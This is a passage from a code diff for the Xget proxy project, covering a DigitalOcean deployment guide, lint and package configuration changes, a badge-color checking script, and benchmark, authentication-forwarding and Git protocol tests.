$(lsb_release -cs) stable" | \
sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
# Allow current user to run docker without sudo (optional)
sudo usermod -aG docker $USER
```
Log out and back in so group changes take effect.
### 2.2 Deploy Xget using Docker Compose
Based on the self-hosting examples in the Xget README, it’s recommended to
manage the container via Docker Compose.
1. **Create a directory and `docker-compose.yml`:**
```bash
mkdir -p ~/xget && cd ~/xget
```
```yaml
# docker-compose.yml
version: '3.8'
services:
xget:
image: ghcr.io/xixu-me/xget:latest
container_name: xget
# Bind only to 127.0.0.1; expose via reverse proxy
ports:
- '127.0.0.1:8080:8080'
restart: unless-stopped
```
2. **Bring up the service:**
```bash
docker compose up -d
```
Now Xget is running inside the Droplet on `127.0.0.1:8080`.
### 2.3 Expose HTTPS via nginx + Let’s Encrypt
Instead of exposing port 8080 directly, run nginx on the Droplet as a reverse
proxy with HTTPS.
1. **Install nginx and Certbot:**
```bash
sudo apt install -y nginx certbot python3-certbot-nginx
```
2. **Request a certificate (example: `xget.example.com`):**
```bash
sudo certbot --nginx -d xget.example.com
```
3. **Configure reverse proxy**
Certbot will create a `server` block for you. You can adapt/add configuration
like:
```nginx
server {
listen 80;
server_name xget.example.com;
return 301 https://$host$request_uri;
}
server {
listen 443 ssl http2;
server_name xget.example.com;
# ssl_certificate / ssl_certificate_key and related settings
# are usually injected by Certbot automatically.
location / {
proxy_pass http://127.0.0.1:8080;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
# Longer timeouts for big downloads
proxy_read_timeout 600s;
proxy_send_timeout 600s;
}
}
```
4. **Reload nginx:**
```bash
sudo nginx -t
sudo systemctl reload nginx
```
Now users can access Xget via `https://xget.example.com` through nginx → Xget
container.
### 2.4 Harden security with DigitalOcean Cloud Firewall
To reduce attack surface and abuse risk:
- In Cloud Firewalls:
- Allow inbound only: `22` (SSH), `80` (HTTP) and `443` (HTTPS).
- Do _not_ expose `8080` to the public Internet.
- If needed, further restrict:
- Only allow company office IP ranges or CI/CD nodes.
- Combine with a VPN or other gateway if you need more control.
## 3. Option 2: DigitalOcean App Platform (fully managed)
App Platform can run Xget directly from a container image or source code repo.
It handles load balancing, TLS, and autoscaling for you, which is great if you
don’t want to manage servers.
### 3.1 Basic flow
1. **Prepare the container image**
Two common options:
- Use the official image: `ghcr.io/xixu-me/xget:latest`
- Or mirror/rebuild Xget into DOCR if you want a private registry or faster
internal pulls.
2. **Create an App**
In the DigitalOcean control panel:
- Create new App → choose "Container".
- Source:
- DigitalOcean Container Registry _or_
- an external image (`ghcr.io/xixu-me/xget:latest`).
- Set the internal listening port to `8080`.
3. **Configure routing**
- Map external path `/` to the Xget service.
- Bind your domain (e.g. `xget.example.com`) to the app and enable automatic
HTTPS.
4. **Scaling**
- In the Scaling section, set minimum number of instances, e.g. 2 replicas
for high availability.
- Configure autoscaling based on CPU / memory usage.
### 3.2 Pros and caveats
- **Pros**
- No OS or Docker maintenance.
- Built-in TLS / certificate management.
- Simple scaling and deployment UX.
- **Caveats**
- Xget is sensitive to large download traffic: you should monitor bandwidth
and outbound data transfer costs.
- For advanced network control (VPC-only access, strict firewall rules),
combine App Platform with Cloud Firewall and VPC.
## 4. Option 3: DigitalOcean Kubernetes (DOKS)
When you need multiple replicas, blue-green deployments, or fine-grained rollout
strategies, run Xget on DOKS as a standard `Deployment`.
### 4.1 Example Deployment & Service
> Note: the health check path below uses `/`. If your build of Xget exposes a
> dedicated health endpoint, adjust accordingly.
```yaml
apiVersion: apps/v1
kind: Deployment
metadata:
name: xget
spec:
replicas: 2
selector:
matchLabels:
app: xget
template:
metadata:
labels:
app: xget
spec:
containers:
- name: xget
image: ghcr.io/xixu-me/xget:latest
ports:
- containerPort: 8080
resources:
requests:
cpu: '250m'
memory: '256Mi'
limits:
cpu: '1'
memory: '512Mi'
readinessProbe:
httpGet:
path: /
port: 8080
initialDelaySeconds: 5
periodSeconds: 10
livenessProbe:
httpGet:
path: /
port: 8080
initialDelaySeconds: 30
periodSeconds: 30
---
apiVersion: v1
kind: Service
metadata:
name: xget
spec:
selector:
app: xget
ports:
- port: 80
targetPort: 8080
type: LoadBalancer
```
- `type: LoadBalancer` will automatically create a DigitalOcean Load Balancer
and assign a public IP.
- Point `xget.example.com` to the Load Balancer IP in your DNS.
If you are using an Ingress Controller (nginx Ingress, Traefik, etc.), you can
change the service type to `ClusterIP` and configure Ingress + cert-manager for
Let’s Encrypt.
## 5. Using DOCR + Xget as an image accelerator
Xget can act as a registry accelerator for multiple container registries,
including DigitalOcean Container Registry (DOCR). The typical pattern is:
- Original: `https://registry.digitalocean.com/...`
- Through Xget: `https://<your Xget domain>/cr/digitalocean/...`
### 5.1 Example: accelerate DOCR pulls
Suppose your DOCR image is:
```text
registry.digitalocean.com/my-registry/my-image:latest
```
You can convert it to:
```text
https://xget.example.com/cr/digitalocean/my-registry/my-image:latest
```
This is especially useful for scripting, diagnostic, or advanced caching setups
around DOCR.
### 5.2 Using Xget as a pull accelerator (daemon.json idea)
In some environments you can configure Docker / containerd to use Xget as a
registry mirror. For example, in `/etc/docker/daemon.json`:
```json
{
"registry-mirrors": ["https://xget.example.com/cr/digitalocean"]
}
```
> Note: Support for non–Docker Hub mirrors depends on the Docker/containerd
> version and configuration. Treat this as a pattern; always verify behavior in
> your own environment.
## 6. Using Xget on DigitalOcean to accelerate AI inference and dev dependencies
Xget also supports API acceleration for multiple AI inference providers (e.g.,
OpenAI, Anthropic, Gemini) through URL conversions such as `ip/<provider>`.
Once Xget is deployed on DigitalOcean, simply replace the public demo domain in
examples with your own domain:
```env
# .env example
OPENAI_BASE_URL=https://xget.example.com/ip/openai
ANTHROPIC_BASE_URL=https://xget.example.com/ip/anthropic
GEMINI_BASE_URL=https://xget.example.com/ip/gemini
```
Then in your code (Python + OpenAI SDK):
```python
import os
from openai import OpenAI
client = OpenAI(
api_key=os.getenv("OPENAI_API_KEY"),
base_url=os.getenv("OPENAI_BASE_URL"),
)
```
If your CI/CD pipelines or backend services also run on DigitalOcean (Droplets,
App Platform, DOKS), they can access Xget very close in network topology,
reducing latency and cross-region hops.
## 7. Monitoring, logging, and cost optimization
1. **Monitoring**
- **Droplet**: Install the DigitalOcean Monitoring Agent to track CPU,
memory, and bandwidth.
- **App Platform / DOKS**: Use the built-in metrics views and alerts.
- At the application level, you can inspect Xget’s response headers (e.g.,
performance metrics) to understand cache hits and upstream delays if Xget
exposes such information in your setup.
2. **Logging**
- Use `docker logs` or `kubectl logs` to inspect Xget container logs.
- Aggregate nginx / Ingress logs plus Xget logs into a centralized stack
(ELK, Loki, etc.) for easier debugging.
3. **Cost optimization**
- Start with a smaller Droplet or the lowest App Platform plan, then scale
based on real traffic.
- For very high outbound traffic, focus on:
- Improving cache hit ratio.
- Avoiding redundant upstream requests.
- Choose regions that balance:
- End-user latency.
- Upstream connectivity quality (e.g., to GitHub, DOCR, AI providers).
## 8. Security and abuse prevention
Because Xget is fundamentally a high-performance HTTP / Git / container registry
proxy, you need to be careful about abuse:
- Do not expose a completely open, unauthenticated Xget service to the entire
public Internet if you don’t fully understand the risk.
- Recommended mitigations:
- Restrict access to trusted IP ranges (office network, VPN, CI/CD nodes).
- Add authentication at the reverse proxy or gateway layer (e.g., Basic Auth,
token-based, or JWT).
- Configure reasonable timeouts and concurrency limits to reduce the impact of
misuse and protect upstreams.
With these patterns, you can deploy Xget on DigitalOcean using Droplets, App
Platform, or Kubernetes, and combine it with DOCR, DNS, and firewalls to build a
unified, robust acceleration layer for repositories, container images, and AI
inference traffic.
-281
View File
@@ -1,281 +0,0 @@
import js from '@eslint/js';
import prettierConfig from 'eslint-config-prettier';
import jsdoc from 'eslint-plugin-jsdoc';
export default [
js.configs.recommended,
jsdoc.configs['flat/recommended'],
{
files: ['src/**/*.js', 'test/**/*.js', 'adapters/**/*.js'],
languageOptions: {
ecmaVersion: 2022,
sourceType: 'module',
globals: {
// Cloudflare Workers globals
addEventListener: 'readonly',
caches: 'readonly',
crypto: 'readonly',
fetch: 'readonly',
Request: 'readonly',
Response: 'readonly',
Headers: 'readonly',
URL: 'readonly',
URLSearchParams: 'readonly',
console: 'readonly',
AbortController: 'readonly',
AbortSignal: 'readonly',
setTimeout: 'readonly',
clearTimeout: 'readonly',
setInterval: 'readonly',
clearInterval: 'readonly',
ReadableStream: 'readonly',
WritableStream: 'readonly',
TransformStream: 'readonly',
TextEncoder: 'readonly',
TextDecoder: 'readonly',
performance: 'readonly',
globalThis: 'readonly',
process: 'readonly',
// Vitest globals
describe: 'readonly',
it: 'readonly',
expect: 'readonly',
beforeEach: 'readonly',
afterEach: 'readonly',
beforeAll: 'readonly',
afterAll: 'readonly',
vi: 'readonly'
}
},
settings: {
jsdoc: {
mode: 'typescript',
tagNamePreference: {
returns: 'returns'
}
}
},
rules: {
// JSDoc rules overrides
'jsdoc/require-description': 'warn',
'jsdoc/require-returns': 'off', // Often redundant if return type is void or obvious
'jsdoc/require-param-description': 'off', // Names are often self-explanatory
'jsdoc/no-undefined-types': [
'warn',
{
definedTypes: [
'ExecutionContext',
'Cache',
'RequestInit',
'Request',
'Response',
'Headers',
'URL',
'URLSearchParams',
'AbortController',
'AbortSignal',
'ReadableStream',
'WritableStream',
'TransformStream',
'TextEncoder',
'TextDecoder'
]
}
],
// Code quality rules
'no-unused-vars': [
'error',
{
argsIgnorePattern: '^_',
varsIgnorePattern: '^_'
}
],
'no-console': [
'warn',
{
allow: ['warn', 'error']
}
],
'no-debugger': 'error',
'no-alert': 'error',
// Best practices
eqeqeq: ['error', 'always'],
curly: ['error', 'all'],
'no-eval': 'error',
'no-implied-eval': 'error',
'no-new-func': 'error',
'no-script-url': 'error',
'no-self-compare': 'error',
'no-sequences': 'error',
'no-throw-literal': 'error',
'no-unmodified-loop-condition': 'error',
'no-unused-expressions': 'error',
'no-useless-call': 'error',
'no-useless-concat': 'error',
'no-useless-return': 'error',
'prefer-promise-reject-errors': 'error',
radix: 'error',
yoda: 'error',
// Variables
'no-delete-var': 'error',
'no-label-var': 'error',
'no-restricted-globals': 'error',
'no-shadow': 'error',
'no-shadow-restricted-names': 'error',
'no-undef': 'error',
'no-undef-init': 'error',
'no-use-before-define': [
'error',
{
functions: false,
classes: true,
variables: true
}
],
// Stylistic issues
'array-bracket-spacing': ['error', 'never'],
'block-spacing': ['error', 'always'],
'brace-style': [
'error',
'1tbs',
{
allowSingleLine: true
}
],
camelcase: [
'error',
{
properties: 'never'
}
],
'comma-dangle': ['error', 'never'],
'comma-spacing': [
'error',
{
before: false,
after: true
}
],
'comma-style': ['error', 'last'],
'computed-property-spacing': ['error', 'never'],
'eol-last': ['error', 'always'],
'func-call-spacing': ['error', 'never'],
indent: [
'error',
2,
{
SwitchCase: 1
}
],
'key-spacing': [
'error',
{
beforeColon: false,
afterColon: true
}
],
'keyword-spacing': [
'error',
{
before: true,
after: true
}
],
'linebreak-style': ['error', 'unix'],
'no-multiple-empty-lines': [
'error',
{
max: 2,
maxEOF: 1
}
],
'no-trailing-spaces': 'error',
'object-curly-spacing': ['error', 'always'],
quotes: [
'error',
'single',
{
avoidEscape: true
}
],
semi: ['error', 'always'],
'semi-spacing': [
'error',
{
before: false,
after: true
}
],
'space-before-blocks': ['error', 'always'],
'space-before-function-paren': [
'error',
{
anonymous: 'always',
named: 'never',
asyncArrow: 'always'
}
],
'space-in-parens': ['error', 'never'],
'space-infix-ops': 'error',
'space-unary-ops': [
'error',
{
words: true,
nonwords: false
}
],
// ES6+ rules
'arrow-spacing': [
'error',
{
before: true,
after: true
}
],
'constructor-super': 'error',
'no-class-assign': 'error',
'no-const-assign': 'error',
'no-dupe-class-members': 'error',
'no-duplicate-imports': 'error',
'no-new-symbol': 'error',
'no-this-before-super': 'error',
'no-useless-computed-key': 'error',
'no-useless-constructor': 'error',
'no-useless-rename': 'error',
'no-var': 'error',
'object-shorthand': ['error', 'always'],
'prefer-arrow-callback': 'error',
'prefer-const': 'error',
'prefer-destructuring': [
'error',
{
array: true,
object: true
},
{
enforceForRenamedProperties: false
}
],
'prefer-rest-params': 'error',
'prefer-spread': 'error',
'prefer-template': 'error',
'rest-spread-spacing': ['error', 'never'],
'template-curly-spacing': ['error', 'never']
}
},
prettierConfig, // Disable formatting rules that conflict with Prettier
{
files: ['test/**/*.js'],
rules: {
// Relax some rules for test files
'no-console': 'off',
'no-unused-expressions': 'off'
}
}
];
@@ -16,7 +16,7 @@
* along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import { handleRequest } from '../../../src/app/handle-request.js';
import { handleRequest } from '../src/app/handle-request.js';
/**
* @typedef {{
+2 -2
View File
@@ -25,14 +25,14 @@
"scripts": {
"commitlint": "commitlint --last --verbose",
"commitmsg": "commitlint --edit",
"deploy": "wrangler deploy",
"deploy": "wrangler pages deploy .",
"dev": "wrangler dev",
"format": "prettier --write src/ test/ *.js *.json",
"format:check": "prettier --check src/ test/ *.js *.json",
"lint": "eslint src/ test/ adapters/",
"lint:fix": "eslint src/ test/ adapters/ --fix",
"prepare": "simple-git-hooks",
"start": "wrangler dev",
"start": "wrangler pages dev .",
"test": "vitest",
"test:coverage": "vitest run --config vitest.coverage.config.js --coverage",
"test:run": "vitest run",
-212
View File
@@ -1,212 +0,0 @@
import { readFileSync, writeFileSync } from 'fs';
import { dirname, join } from 'path';
import { fileURLToPath } from 'url';
const __filename = fileURLToPath(import.meta.url);
const __dirname = dirname(__filename);
// Check if --fix flag is provided
const shouldFix = process.argv.includes('--fix');
// Extract badge info from README file
/**
*
* @param filePath
*/
function extractBadgeInfo(filePath) {
const content = readFileSync(filePath, 'utf8');
const badgeRegex =
/\[!\[.*?\]\(https:\/\/img\.shields\.io\/badge\/(.*?)-([0-9A-Fa-f]{6})\?.*?logo=([a-z0-9-]+)/gi;
const badges = {};
let match;
while ((match = badgeRegex.exec(content)) !== null) {
const fullMatch = match[0];
const label = match[1];
const color = match[2];
const logo = match[3];
// Normalize logo name (lowercase and remove dashes for Simple Icons lookup)
const normalizedLogo = logo.toLowerCase().replace(/-/g, '');
if (!badges[normalizedLogo]) {
badges[normalizedLogo] = {
color: color,
logo: logo,
label: label,
fullMatch: fullMatch
};
}
}
return badges;
}
// Fix badge colors in README file
/**
*
* @param filePath
* @param colorChanges
*/
function fixBadgeColors(filePath, colorChanges) {
let content = readFileSync(filePath, 'utf8');
let changeCount = 0;
for (const [logo, change] of Object.entries(colorChanges)) {
const oldColor = change.current.toUpperCase();
const newColor = change.official.toUpperCase();
// Create regex to match badges with this logo and old color
const badgeRegex = new RegExp(
`(\\[!\\[.*?\\]\\(https:\\/\\/img\\.shields\\.io\\/badge\\/.*?-)${oldColor}(\\?.*?logo=${change.logoName})`,
'gi'
);
const newContent = content.replace(badgeRegex, `$1${newColor}$2`);
if (newContent !== content) {
changeCount++;
content = newContent;
console.log(` ✅ Fixed ${logo}: ${oldColor} → ${newColor}`);
}
}
if (changeCount > 0) {
writeFileSync(filePath, content, 'utf8');
return changeCount;
}
return 0;
}
/**
*
*/
async function fetchSimpleIcons() {
const response = await fetch(
'https://raw.githubusercontent.com/simple-icons/simple-icons/refs/heads/develop/data/simple-icons.json'
);
const icons = await response.json();
// Create a map of slug -> hex color
const iconMap = {};
icons.forEach(icon => {
// Use slug if available, otherwise generate from title
const slug = icon.slug || icon.title.toLowerCase().replace(/[^a-z0-9]/g, '');
iconMap[slug] = icon.hex;
});
return iconMap;
}
/**
*
* @param filePath
* @param simpleIcons
*/
function checkReadme(filePath, simpleIcons) {
const fileName = filePath.split(/[\\/]/).pop();
const currentBadges = extractBadgeInfo(filePath);
console.log(`\n${'='.repeat(80)}`);
console.log(`📄 ${fileName}`);
console.log('='.repeat(80));
console.log(
'Logo Name'.padEnd(25) + 'Current Color'.padEnd(20) + 'Official Color'.padEnd(20) + 'Status'
);
console.log('='.repeat(80));
let totalChecked = 0;
let correctCount = 0;
let incorrectCount = 0;
const issues = {};
for (const [logo, badgeInfo] of Object.entries(currentBadges)) {
totalChecked++;
const currentColor = badgeInfo.color;
const officialColor = simpleIcons[logo];
if (!officialColor) {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${'NOT FOUND'.padEnd(20)}⚠️ Missing`
);
continue;
}
const currentUpper = currentColor.toUpperCase();
const officialUpper = officialColor.toUpperCase();
if (currentUpper === officialUpper) {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}✅ Correct`
);
correctCount++;
} else {
console.log(
`${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}❌ Mismatch`
);
incorrectCount++;
issues[logo] = {
current: currentColor,
official: officialColor,
logoName: badgeInfo.logo
};
}
}
console.log('='.repeat(80));
console.log(`\nSummary for ${fileName}:`);
console.log(`Total badges checked: ${totalChecked}`);
console.log(`✅ Correct: ${correctCount}`);
console.log(`❌ Incorrect: ${incorrectCount}`);
if (Object.keys(issues).length > 0) {
console.log('\n🔧 Badges that need updating:\n');
Object.entries(issues).forEach(([logo, issue]) => {
console.log(`${logo}:`);
console.log(` Current: ${issue.current}`);
console.log(` Official: ${issue.official}`);
console.log(` Change: ${issue.current} → ${issue.official}\n`);
});
if (shouldFix) {
console.log('🔧 Applying fixes...\n');
const fixedCount = fixBadgeColors(filePath, issues);
console.log(`✅ Fixed ${fixedCount} badge(s) in ${fileName}`);
}
} else {
console.log('\n🎉 All badge colors are correct!');
}
return issues;
}
/**
*
*/
async function main() {
console.log('Fetching Simple Icons data...\n');
const simpleIcons = await fetchSimpleIcons();
const readmes = [
join(__dirname, '..', 'README.md'),
join(__dirname, '..', 'README.zh-Hans.md'),
join(__dirname, '..', 'README.zh-Hant.md')
];
let anyIssues = false;
for (const readmePath of readmes) {
const issues = checkReadme(readmePath, simpleIcons);
if (Object.keys(issues).length > 0) anyIssues = true;
}
if (anyIssues && !shouldFix) {
console.log('\n💡 Tip: Run with --fix flag to automatically fix all mismatches:');
console.log(' node scripts/fix-badge-colors.js --fix\n');
} else if (!anyIssues) {
console.log('\n🎉 All badge colors across all READMEs are correct!');
} else {
console.log('\n🎉 All badge colors have been fixed!');
}
}
main().catch(console.error);
-217
View File
@@ -1,217 +0,0 @@
import { SELF } from 'cloudflare:test';
import { bench, describe } from 'vitest';
import { TEST_URLS } from '../helpers/test-utils.js';
describe('Performance Benchmarks', () => {
describe('Request Processing Speed', () => {
bench('Basic request handling', async () => {
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
});
});
bench('GitHub file request', async () => {
await SELF.fetch(TEST_URLS.github.file, {
method: 'HEAD'
});
});
bench('GitLab file request', async () => {
await SELF.fetch(TEST_URLS.gitlab.file, {
method: 'HEAD'
});
});
bench('Hugging Face model request', async () => {
await SELF.fetch(TEST_URLS.huggingface.model, {
method: 'HEAD'
});
});
bench('npm package request', async () => {
await SELF.fetch(TEST_URLS.npm.package, {
method: 'HEAD'
});
});
bench('PyPI package request', async () => {
await SELF.fetch(TEST_URLS.pypi.simple, {
method: 'HEAD'
});
});
bench('conda package request', async () => {
await SELF.fetch(TEST_URLS.conda.main, {
method: 'HEAD'
});
});
});
describe('Git Protocol Performance', () => {
bench('Git info/refs request', async () => {
await SELF.fetch('https://example.com/gh/test/repo.git/info/refs?service=git-upload-pack', {
headers: {
'User-Agent': 'git/2.34.1'
}
});
});
bench('Git upload-pack request', async () => {
await SELF.fetch('https://example.com/gh/test/repo.git/git-upload-pack', {
method: 'POST',
headers: {
'User-Agent': 'git/2.34.1',
'Content-Type': 'application/x-git-upload-pack-request'
},
body: '0000'
});
});
});
describe('Security Header Processing', () => {
bench('Security headers addition', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Verify headers are present (this adds to processing time)
response.headers.get('Strict-Transport-Security');
response.headers.get('X-Frame-Options');
response.headers.get('X-XSS-Protection');
response.headers.get('Content-Security-Policy');
response.headers.get('Referrer-Policy');
});
});
describe('Error Handling Performance', () => {
bench('404 error handling', async () => {
await SELF.fetch('https://example.com/gh/nonexistent/repo/file.txt');
});
bench('400 error handling', async () => {
await SELF.fetch('https://example.com/invalid-platform/test');
});
bench('405 error handling', async () => {
await SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'DELETE'
});
});
});
describe('Concurrent Request Handling', () => {
bench('10 concurrent requests', async () => {
const requests = Array(10)
.fill(null)
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
bench('50 concurrent requests', async () => {
const requests = Array(50)
.fill(null)
.map(() =>
SELF.fetch('https://example.com/gh/test/repo/file.txt', {
method: 'HEAD'
})
);
await Promise.all(requests);
});
});
describe('Path Processing Performance', () => {
bench('Short path processing', async () => {
await SELF.fetch('https://example.com/gh/a/b', {
method: 'HEAD'
});
});
bench('Medium path processing', async () => {
await SELF.fetch('https://example.com/gh/user/repository/path/to/some/file.txt', {
method: 'HEAD'
});
});
bench('Long path processing', async () => {
const longPath = `/gh/user/repo/${'very-long-path-segment/'.repeat(20)}file.txt`;
await SELF.fetch(`https://example.com${longPath}`, {
method: 'HEAD'
});
});
});
describe('URL Parsing Performance', () => {
bench('Simple URL parsing', async () => {
await SELF.fetch('https://example.com/gh/user/repo');
});
bench('URL with query parameters', async () => {
await SELF.fetch('https://example.com/gh/user/repo/file.txt?ref=main&path=src');
});
bench('URL with fragments', async () => {
await SELF.fetch('https://example.com/gh/user/repo/README.md#section');
});
bench('Complex URL parsing', async () => {
await SELF.fetch(
'https://example.com/gh/user/repo/file.txt?ref=feature/branch&path=src/components&line=123#L123'
);
});
});
describe('Memory Usage Patterns', () => {
bench('Request object creation', async () => {
const request = new Request('https://example.com/gh/test/repo/file.txt', {
method: 'GET',
headers: {
'User-Agent': 'Test/1.0',
Accept: '*/*'
}
});
// Process the request
await SELF.fetch(request);
});
bench('Response object processing', async () => {
const response = await SELF.fetch('https://example.com/gh/test/repo/file.txt');
// Access various response properties
response.status;
response.statusText;
response.headers.get('Content-Type');
response.headers.get('X-Performance-Metrics');
});
});
describe('Platform-Specific Performance', () => {
bench('GitHub platform processing', async () => {
await SELF.fetch('https://example.com/gh/microsoft/vscode/blob/main/package.json');
});
bench('GitLab platform processing', async () => {
await SELF.fetch('https://example.com/gl/gitlab-org/gitlab/-/blob/master/package.json');
});
bench('Hugging Face platform processing', async () => {
await SELF.fetch('https://example.com/hf/microsoft/DialoGPT-medium/resolve/main/config.json');
});
bench('npm platform processing', async () => {
await SELF.fetch('https://example.com/npm/react');
});
bench('PyPI platform processing', async () => {
await SELF.fetch('https://example.com/pypi/simple/requests/');
});
bench('conda platform processing', async () => {
await SELF.fetch('https://example.com/conda/pkgs/main/linux-64/numpy-1.24.3.conda');
});
});
});
-134
View File
@@ -1,134 +0,0 @@
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
import worker from '../../src/index.js';
/** @type {ExecutionContext} */
const executionContext = {
waitUntil() {},
passThroughOnException() {}
};
describe('Authentication Header Forwarding', () => {
/** @type {{ match: ReturnType<typeof vi.fn>, put: ReturnType<typeof vi.fn> }} */
let cacheDefault;
beforeEach(() => {
cacheDefault = {
match: vi.fn(async () => null),
put: vi.fn(async () => undefined)
};
vi.stubGlobal('caches', { default: cacheDefault });
});
afterEach(() => {
vi.unstubAllGlobals();
vi.restoreAllMocks();
});
it('forwards Authorization for authenticated file requests and disables caching', async () => {
const authToken = 'Bearer ghp_test_token_12345';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/plain' }
})
);
const response = await worker.fetch(
new Request('https://example.com/gh/test/private-repo/README.md', {
method: 'HEAD',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('forwards Authorization for Hugging Face API passthrough requests', async () => {
const authToken = 'Bearer hf_test_token_12345';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response('{}', {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
const response = await worker.fetch(
new Request('https://example.com/hf/api/models/test-private-model', {
method: 'GET',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
});
it('forwards Authorization for authenticated PyPI index requests', async () => {
const authToken = 'Basic dGVzdDp0ZXN0MTIzNDU=';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'text/html; charset=utf-8' }
})
);
const response = await worker.fetch(
new Request('https://example.com/pypi/simple/private-package/', {
method: 'HEAD',
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
it('forwards Authorization for gated Hugging Face model downloads', async () => {
const authToken = 'Bearer hf_authenticated_token';
const fetchSpy = vi.spyOn(globalThis, 'fetch').mockResolvedValue(
new Response(null, {
status: 200,
headers: { 'Content-Type': 'application/json' }
})
);
const response = await worker.fetch(
new Request('https://example.com/hf/meta-llama/Llama-2-7b/resolve/main/config.json', {
headers: {
Authorization: authToken
}
}),
{},
executionContext
);
expect(response.status).toBe(200);
expect(new Headers(fetchSpy.mock.calls[0][1]?.headers).get('Authorization')).toBe(authToken);
expect(cacheDefault.match).not.toHaveBeenCalled();
expect(cacheDefault.put).not.toHaveBeenCalled();
expect(response.headers.get('Cache-Control')).toBe('private, no-store');
});
});
-95
View File
@@ -1,95 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Git LFS Protocol Integration', () => {
it('should handle LFS info/lfs requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/lfs';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0 (GitHub; darwin amd64; go 1.17.2)'
}
});
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle LFS batch API requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/objects/batch';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/vnd.git-lfs+json',
Accept: 'application/vnd.git-lfs+json',
'User-Agent': 'git-lfs/3.0.0'
},
body: JSON.stringify({
operation: 'download',
objects: [
{
oid: 'a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd',
size: 1024
}
]
})
});
expect([200, 301, 302, 400, 403, 404]).toContain(response.status);
});
it('should handle LFS object download requests', async () => {
const testUrl =
'https://example.com/gh/microsoft/vscode.git/objects/a1b2c3d4e5f6789012345678901234567890123456789012345678901234abcd';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0',
Accept: 'application/octet-stream'
}
});
expect([200, 301, 302, 403, 404]).toContain(response.status);
});
it('should preserve LFS-specific headers', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/objects/batch';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'User-Agent': 'git-lfs/3.0.0',
Accept: 'application/vnd.git-lfs+json',
'Content-Type': 'application/vnd.git-lfs+json'
},
body: '{}'
});
// Should not reject LFS-specific headers
expect(response.status).not.toBe(400);
});
it('should skip caching for LFS requests', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/lfs';
// First request
const response1 = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0'
}
});
// Second request - should not be cached
const response2 = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git-lfs/3.0.0'
}
});
// Both requests should go to origin (no cache hit)
const metrics1 = response1.headers.get('X-Performance-Metrics');
const metrics2 = response2.headers.get('X-Performance-Metrics');
// Verify that neither indicates a cache hit
if (metrics1 && metrics2) {
expect(metrics1).not.toContain('cache_hit');
expect(metrics2).not.toContain('cache_hit');
}
});
});
-42
View File
@@ -1,42 +0,0 @@
import { SELF } from 'cloudflare:test';
import { describe, expect, it } from 'vitest';
describe('Git Protocol Integration', () => {
it('should handle Git info/refs requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/info/refs?service=git-upload-pack';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1'
}
});
expect([200, 301, 302, 404]).toContain(response.status);
});
it('should handle Git upload-pack requests', async () => {
const testUrl = 'https://example.com/gh/microsoft/vscode.git/git-upload-pack';
const response = await SELF.fetch(testUrl, {
method: 'POST',
headers: {
'Content-Type': 'application/x-git-upload-pack-request',
'User-Agent': 'git/2.34.1'
},
body: '0000' // Minimal Git protocol data
});
expect([200, 301, 302, 400, 404]).toContain(response.status);
});
it('should preserve Git-specific headers', async () => {
const testUrl = 'https://example.com/gh/test/repo.git/info/refs';
const response = await SELF.fetch(testUrl, {
headers: {
'User-Agent': 'git/2.34.1',
'Git-Protocol': 'version=2'
}
});
// Should not reject Git-specific headers
expect(response.status).not.toBe(400);
});
});
-240
View File
@@ -1,240 +0,0 @@
